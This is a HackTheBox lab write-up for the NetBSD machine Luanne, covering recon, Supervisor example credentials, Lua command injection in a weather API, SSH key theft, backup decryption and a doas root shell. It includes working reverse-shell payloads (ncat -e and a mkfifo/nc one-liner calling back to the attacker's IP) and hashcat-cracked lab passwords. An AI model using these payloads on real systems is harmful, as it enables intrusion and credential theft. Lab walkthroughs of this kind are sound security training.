HackTheBox: Luanne
netbsd lua command-injection example-credentials gnupg doasLuannie is a NetBSD-based machine authored by polarbearer, with an average rating of 2.6 stars.
// Lessons Learned
- When default credentials fail / don’t exist, try “example credentials” (anything written in an online example configuration)
- Always be ready to run content discovery tools like gobuster in recursive mode, as endpoint(s) discovered may only be part of the path to the real endpoints (except that gobuster doesn’t support recursive searching by design, so I’m switching to feroxbuster)
- From a security perspective, program arguments should be viewed with the same potential significance as a configuration file
// Recon
┌──(kali㉿kali)-[~/HTB/luanne]
└─$ nmap -A -p- luanne.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-27 08:43 AEST
Nmap scan report for luanne.htb (10.10.10.218)
Host is up (0.020s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-robots.txt: 1 disallowed entry
|_/weather
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
|_http-title: 401 Unauthorized
|_http-server-header: nginx/1.19.0
2467/tcp filtered high-criteria
3146/tcp filtered bears-02
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
|_http-title: Error response
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
12730/tcp filtered unknown
15302/tcp filtered unknown
46623/tcp filtered unknown
58080/tcp filtered unknown
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1602.03 seconds
Nmap confirms the target is running the following open services:
- openSSH on port
22
- http via
nginx 1.19.0
on port80
- http via
Medusa httpd 1.12 (Supervisor process manager)
on port9001
Several other ports are discovered in a filtered state, meaning we probably can’t make inroads through them at this stage. Both of the http servers have their homepages password protected, and trying to login with typical default credentials (admin / admin
, admin / password
) proves unsuccessful. The webserver running on port 80 does allow us to retrieve a /robots.txt
file:
User-agent: *
Disallow: /weather #returning 404 but still harvesting cities
Trying to visit the /weather
url mentioned does indeed return a 404
, but may prove relevant at a later stage. We can run some broad-scoped wordlists from SecLists against both webservers using gobuster, but neither of these turn up anything interesting:
┌──(kali㉿kali)-[~/github/danielmiessler/SecLists]
└─$ gobuster dir -u http://luanne.htb:9001/ -w Discovery/Web-Content/raft-medium-directories.txt -b 401
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://luanne.htb:9001/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 401
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/27 09:21:29 Starting gobuster in directory enumeration mode
===============================================================
===============================================================
2022/04/27 09:26:39 Finished
===============================================================
Searchsploit doesn’t return any results for the software versions identified so far (nginx 1.19.0
, medusa 1.12
). It’s always worth searching more broadly when this happens, and in this situation we discover an RCE (remote code execution) bug and proof-of-concept in Medusa httpd 1.12
. Reading through the PoC, it looks like the exploit is achieved through command injection, by supplying a specially crafted input that escapes the server’s expected context, and enables execution of additional commands, in this case establishing a reverse shell. Unusually, the CVE attached to the exploit does mention that it is at RESERVED status, indicating that it may not have actually been published (and work) as described.
We could easily test out the script by downloading and running it, but an obvious problem is that the entire server looks to be password protected. Further research around Medusa Supervisor process manager indicates that this python-based webserver is often used as an interface to supervisor, a process monitoring system similar to launchd. There aren’t any default credentials associated with supervisor, but reading the configuration documentation provides an example for how to configure authentication:
[unix_http_server]
file = /tmp/supervisor.sock
chmod = 0777
chown= nobody:nogroup
username = user
password = 123
In the absence of default credentials, and prior to trying a brute-force approach, the next best thing is example credentials like these. In this case we can gain access to the server on port 9001
using user / 123
:
We’re now able to test out the medusa exploit script, by making a small change to the code to include the necessary authentication header:
requests.post(full_url, files=files, headers={'Authorization':'Basic dXNlcjoxMjM='})
Despite having valid credentials, we still can’t establish a reverse shell as explained in the PoC. We can further edit the script to pass the request through Burp Proxy, to allow closer examination of what’s happening:
requests.post(full_url, files=files, headers={'Authorization':'Basic dXNlcjoxMjM='}, proxies={'http':'localhost:8080'})
While the captured request appears valid and well-formed:
POST /?pid=%7C%20ncat%20-e%20%2Fbin%2Fbash%2010.10.17.230%20443%20%23 HTTP/1.1
Host: luanne.htb:9001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
Authorization: Basic dXNlcjoxMjM=
Content-Length: 166
Content-Type: multipart/form-data; boundary=d37da69df7088b8c6091a711c9d55db4
--d37da69df7088b8c6091a711c9d55db4
Content-Disposition: form-data; name="uploadedfile"; filename="medusa-exploit.txt"
111
--d37da69df7088b8c6091a711c9d55db4--
the result is still no shell. We can try editing the payload to contain a simple ping command back to our attack box, incase netcat
or bash
isn’t installed on the target, or aren’t compatible with the given syntax:
POST /?pid=%7c%20ping%2010.10.17.230%20%23 HTTP/1.1
Still, no luck. As initially suspected based on the CVE’s reserved status, it seems likely that this exploit was never fully weaponised.
Zooming back out, we can see at the bottom of the home page that Supervisor 4.2.0
is in use. Repeating our methodology of searching for known exploits, we discover an authenticated RCE module in Metasploit, but unfortunately it seems to only affect versions 3.0a1 to 3.3.2
. Ignoring this and testing it anyway results in failure to execute, so it’s unlikely to be compatible.
So what does the UI itself offer us? Essentially we’re provided with tools to monitor and perform basic administration (restart & stop) on several running processes. The memory
and uptime
processes provide fairly routine / uninteresting output, but processes
seems a little more interesting:
weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
_httpd 401 0.0 0.0 34956 2016 ? Is 10:07PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root 405 0.0 0.0 20216 1656 ? Is 10:07PM 0:00.04 /usr/sbin/cron
_httpd 5309 0.0 0.0 17676 1400 ? O 11:53PM 0:00.01 /usr/bin/egrep ^USER| \\[system\\] *$| init *$| /usr/sbin/sshd *$| /usr/sbin/syslogd -s *$| /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8 *$| /usr/sbin/cron *$| /usr/sbin/powerd *$| /usr/libexec/httpd -u -X -s.*$|^root.* login *$| /usr/libexec/getty Pc ttyE.*$| nginx.*process.*$
root 217 0.0 0.0 20076 1588 ttyE1 Is+ 10:07PM 0:00.01 /usr/libexec/getty Pc ttyE1
root 388 0.0 0.0 19780 1580 ttyE2 Is+ 10:07PM 0:00.01 /usr/libexec/getty Pc ttyE2
root 435 0.0 0.0 19780 1580 ttyE3 Is+ 10:07PM 0:00.01 /usr/libexec/getty Pc ttyE3
At the top of the output, we see that there is a process running as the weather
user, which is executing a script at /home/r.michaels/devel/webapi/weather.lua
. Lua is a popular embeddable scripting language, that supports a range of different programming paradigms. We know from our earlier reading of /robots.txt
that the /weather
url has been configured to only return a 404, but is “still harvesting cities”. This might mean that the page could behave differently if we send it something other than a straight GET request without parameters, but we would need to get a little lucky with the correct syntax, e.g:
GET /weather?city=Berlin
- `GET /weather?cities=[Berlin]
POST /weather
with a payload ofcity=Berlin
orcities=[Berlin]
- etc..
// Initial Foothold
All of these combinations (and more) continue to return a 404 with identical page size, indicating they’re not triggering any kind of different behaviour in the server. Only after exhaustive testing (and an overnight break) did the idea of searching for more pages within /weather
as a directory come to mind, this time using the rust-built and recursive-enabled feroxbuster:
┌──(kali㉿kali)-[~/github/danielmiessler/SecLists]
└─$ feroxbuster -u http://luanne.htb/weather -w Discovery/Web-Content/big.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://luanne.htb/weather
🚀 Threads │ 50
📖 Wordlist │ Discovery/Web-Content/big.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 12w 0c http://luanne.htb/weather/forecast
[####################] - 9s 20477/20477 0s found:1 errors:0
[####################] - 8s 20477/20477 2432/s http://luanne.htb/weather
This gives us a new endpoint, /weather/forecast
, which returns a welcome HTTP 200 status code and an interesting JSON object:
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
Requesting /weather/forecast?city=list
as suggested does return a list of valid cities:
{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}
And requesting any of these e.g. /weather/forecast?city=London
returns a payload of weather readings for that city:
{
"code": 200,
"city": "London",
"list": [
{
"date": "2022-04-28",
"weather": {
"description": "snowy",
"temperature": {
"min": "12",
"max": "46"
},
"pressure": "1799",
"humidity": "92",
"wind": {
"speed": "2.1975513692014",
"degree": "102.76822959445"
}
}
},
...
]
}
From an application security perspective, a possible vulnerability in this page could be in the form of injection. This can come in several forms, for example SQL injection, code injection, or command injection. Like most scripting languages, Lua is known to be vulnerable to all of these if not used correctly. After noodling around with several different payloads, we get a response that indicates this page is vulnerable:
// Request
GET /weather/forecast?city=London');os.execute('whoami');--
// Response
{"code": 500,"error": "unknown city: London_httpd
Essentialy we’ve crafted a payload that terminates the expected context of the input (');
) and then executes a command of our choosing (os.execute('whoami');
). The trailing --
serves as a comment break, to nullify any remaining code in the script (without this, the request returns a lua syntax error). The response, London_httpd
, indicates that the server is running as _httpd
and we can execute code. Turning this into a reverse shell took a little work due to several factors (NetBSD uses the same version of netcat as OpenBSD, which does not support the -e
flag, and there is also no PATH
environment variable set) but eventually this reqeuest gets us there:
// On attack box
nc -lvnp 443
listening on [any] 443 ...
// On target
GET /weather/forecast?city=London');os.execute('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|/usr/bin/nc+10.10.17.230+443+>/tmp/f');--
// Back on attack box
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.218] 65423
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
We now have a shell as the _httpd
user. Some quick manual enumeration reveals:
- a
/var/www/.htpasswd
credentials file containingwebapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
, that can easily be cracked by hashcat to reveal the password asiamthebest
. These creds can be used to login to the other httpd server available on port80
, but the only page available merely outlines how to use the/weather/forecast
url that we’ve already figured out. Running an enumeration tool now that we have these credentials isn’t of any real interest, since we can already have access to the webserver’s code via our shell and can see there is nothing further to discover - there is a
bozohttpd
server running on the localhost interface on ports3000
and3001
. We already had an idea of this based on the output of the main webserver, but usingnetcat
internally gives us further details:
$ nc localhost 3000
HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 0
Server: bozohttpd/20190228
Bozohttp is a very lightweight web-server, so lightweight that it even has no configuration file! This explains the very long list of arguments seen in the supervisor output for processes
:
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
In this situation, these arguments need to be viewed with the same potential significance as a configuration file. The bozohttpd manual indicates the used options have the following effect:
-u
enables “the transformation of Uniform Resource Locators of the form /~user/ into the directory ~user/public_html”-X
enables directory indexing-s
forces logging to STDERR-i 127.0.0.1
listens on the specified interface only, in this case localhost-I 3000
listens on port 3000-L weather /usr/local/webapi/weather.lua
adds a new Lua script at the specificed prefix, meaning accessing/weather
will load/usr/local/webapi/weather.lua
-U _httpd
runs the server as user_httpd
(and that user’s groups)-b
detaches the process from the current terminal, running the server in daemon mode/var/www
indicates the “slashdir”, where all requests are served from
Of these, the -u
switch is really the only option that might reveal new content. Since we can’t access the webserver from the outside, we’ll have to use a tool like curl on the target to make the requests. We know from browsing /home
there is a r.michaels
user, meaning if there is a /home/r.michaels/public_html
folder, it should be available at /~r.michaels/
:
$ curl http://localhost:3001/~r.michaels/
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
~r.michaels//: <pre>No authorization</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
We have the credentials retrieved from the webserver running in /var/www
, so it’s possible they may work here too:
$ curl -H 'Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==' http://localhost:3001/~r.michaels/
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>03-May-2022 23:34<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
This reveals a id_rsa
file in the directory, which is usually associated with password-less ssh login. We can issue another curl request to download the file:
$ curl -H 'Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==' http://localhost:3001/~r.michaels/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh
0DpaB9XVjggYHMr0dbYcSF2V5GMfIyxHQ8vGAE+QeW9I0Z2nl54ar/I/j7c87SY59uRnHQ
kzRXevtPSUXxytfuHYr1Ie1YpGpdKqYrYjevaQR5CAFdXPobMSxpNxFnPyyTFhAbzQuchD
ryXEuMkQOxsqeavnzonomJSuJMIh4ym7NkfQ3eKaPdwbwpiLMZoNReUkBqvsvSBpANVuyK
BNUj4JWjBpo85lrGqB+NG2MuySTtfS8lXwDvNtk/DB3ZSg5OFoL0LKZeCeaE6vXQR5h9t8
3CEdSO8yVrcYMPlzVRBcHp00DdLk4cCtqj+diZmR8MrXokSR8y5XqD3/IdH5+zj1BTHZXE
pXXqVFFB7Jae+LtuZ3XTESrVnpvBY48YRkQXAmMVAAAFkBjYH6gY2B+oAAAAB3NzaC1yc2
EAAAGBAL18SQW5uFSnE9hwASldis4fRnGrcxCUcr7+AAGpbd+PZ3Hw5DHxQSHMaPT6S1GM
...
then save that key to a r.michaels.key
file, and try to ssh in with it:
┌──(kali㉿kali)-[~/HTB/luanne]
└─$ ssh r.michaels@luanne.htb -i r.michaels.key
Last login: Tue May 3 22:12:25 2022 from 10.10.17.230
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
From here, we find the user key in the usual location:
luanne$ cat user.txt
ea5f0***************************
// Privilege Escalation
Starting with some manual enumeration, we find a number of files / folders in the r.michaels
home directory:
- an encrypted archive at
backups/devel_backup-2020-09-16.tar.gz.enc
- a
devel
folder, which looks to contain a development version of the lua-based weather api (though there are no differences to the version in/var/www
) - several shell-related files -
.profile
,.login
,.logout
etc. - a
.gnupg
folder, containing a public and private keys
GnuPG is a free implementation of the OpenPGP (Pretty Good Privacy) standard, offering the usual asymmetric public / private key model. Some research indicates it can easily be used to encrypt & decrypt files, so it’s worth testing out against the encrypted archive we discovered earlier. On NetBSD, the binary is available as netpgp:
luanne$ netpgp --decrypt --output=/tmp/decrypted.tar.gz ./backups/devel_backup-2020-09-16.tar.gz.enc
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <r.michaels@localhost>
The archive is decrypted! Now we just have to decompress & untar it:
luanne$ tar -xzvf /tmp/decrypted.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd
It looks like a backup copy of the site. We can scan for differences in each file using diff, which eventually reveals the following change:
luanne$ diff -u ./devel-2020-09-16/www/.htpasswd /home/r.michaels/devel/www/.htpasswd
--- ./devel-2020-09-16/www/.htpasswd 2020-09-16 18:14:17.000000000 +0000
+++ /home/r.michaels/devel/www/.htpasswd 2020-09-16 18:15:35.041540230 +0000
@@ -1 +1 @@
-webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
+webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
It looks like the password for webapi_user
was changed. Running the hash through hashcat as before quickly reveals the old password:
$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear
We can check which (if any) of these passwords belongs to the r.michaels
account, by running the passwd
command:
luanne$ passwd
Changing password for r.michaels.
Old Password: iamthebest
Unable to change auth token: Permission denied
luanne$ passwd
Changing password for r.michaels.
Old Password: littlebear
New Password:
We now have the ssh password. Typically this might be used to check for sudo
privileges at this point, but running the usual command to enumerate this returns an error:
luanne$ sudo -l
ksh: sudo: not found
Some quick Googling reveals that BSD-based systems (FreeBSD, OpenBSD and NetBSD) sometimes use an alternative implementation of this concept, known as doas. The command to spawn a privileged shell is as follows:
luanne$ doas -s
Password: littlebear
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)
In effect, the r.michaels
user has been granted full sudo privileges (through doas). With a privileged shell, we can navigate to the /root
folder and retrieve the root key:
# cd /root
# cat root.txt
7a9b5***************************